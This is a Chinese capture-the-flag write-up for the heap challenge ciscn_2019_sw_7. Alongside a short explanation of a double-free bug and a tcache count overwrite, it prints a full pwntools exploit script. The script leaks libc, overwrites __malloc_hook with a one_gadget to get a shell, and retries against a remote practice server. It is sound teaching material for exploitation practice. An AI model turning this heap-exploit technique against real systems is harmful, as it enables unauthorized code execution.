ciscn_2019_sw_7

ciscn_2019_sw_7

首先检查一下程序的保护机制

ciscn_2019_sw_7_第1张图片

然后,我们用IDA分析一下,最多创建10个堆,并且size不能超过0x60

ciscn_2019_sw_7_第2张图片

Delete功能没有清空指针,因此可以double free。

ciscn_2019_sw_7_第3张图片

由于size受限制,因此我们需要伪造一个unsorted bin范围的chunk,glibc版本2.27,存在tcache,因此,我们还要先攻击tcache bin表头,篡改对应的count为-1,这样chunk就可以放入unsorted bin了。

#coding:utf8
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget_s = 0x10a38c

def add(size,content):
   sh.sendlineafter('>','1')
   sh.sendlineafter('The size of note:',str(size))
   sh.sendlineafter('The content of note:',content)

def show(index):
   sh.sendlineafter('>','2')
   sh.sendlineafter('Index:',str(index))

def delete(index):
   sh.sendlineafter('>','4')
   sh.sendlineafter('Index:',str(index))

def exploit():
   #0
   add(0,'a')
   #1
   add(0x50,'b')
   #2
   add(0,'c')
   #3
   add(0x50,'d')
   #4
   add(0x50,'e')
   #3、4形成链表
   delete(4)
   delete(3)
   #通过溢出低位覆盖3的next指针低1字节为0x1B,低二字节为00,便有1/16和几率分配到tcache bin的表头0xE0的count处
   delete(2)
   add(0,'c'*0x8 + p64(0) + p64(0x61) + p8(0x1B - 8)) #2
   add(0x50,'d') #3
   #申请到表头,修改0xE0的tcache count为-1
   add(0x50,'\x00' + p8(0xFF)) #4
   #通过0溢出,修改chunk1的size,将1、2、3的size合并
   payload = 'a'*0x8 + p64(0) + p64(0x60 + 0x20 + 0x61)
   delete(0)
   add(0,payload) #0
   #得到0xE0的unsorted bin
   delete(1)
   #将unsorted bin指针传递到chunk2里
   add(0x20,'b') #1
   add(0x20,'b') #5
   show(2)
   sh.recvuntil('2 : ')
   main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
   malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
   libc_base = malloc_hook_addr - malloc_hook_s
   if libc_base >> 40 != 0x7F:
      raise Exception('error leak!')
   one_gadget_addr = libc_base + one_gadget_s
   print 'libc_base=',hex(libc_base)
   print 'malloc_hook_addr=',hex(malloc_hook_addr)
   print 'one_gadget_addr=',hex(one_gadget_addr)
   #3放入tcache bin
   delete(3)
   #将malloc_hook链接到tcache bin
   add(0x60,'c'*0x18 + p64(malloc_hook_addr-0x8)) #3
   #6
   add(0x50,'c')
   #7写malloc_hook
   add(0x50,p64(one_gadget_addr))
   #getshell
   sh.sendlineafter('>','1')
   sh.sendlineafter('The size of note:','1')

while True:
   try:
      global sh
      #sh = process('./ciscn_2019_sw_7')
      sh = remote('node3.buuoj.cn',25167)
      exploit()
      sh.interactive()
   except:
      sh.close()
      print 'trying...'

 

你可能感兴趣的:(二进制漏洞,CTF,pwn)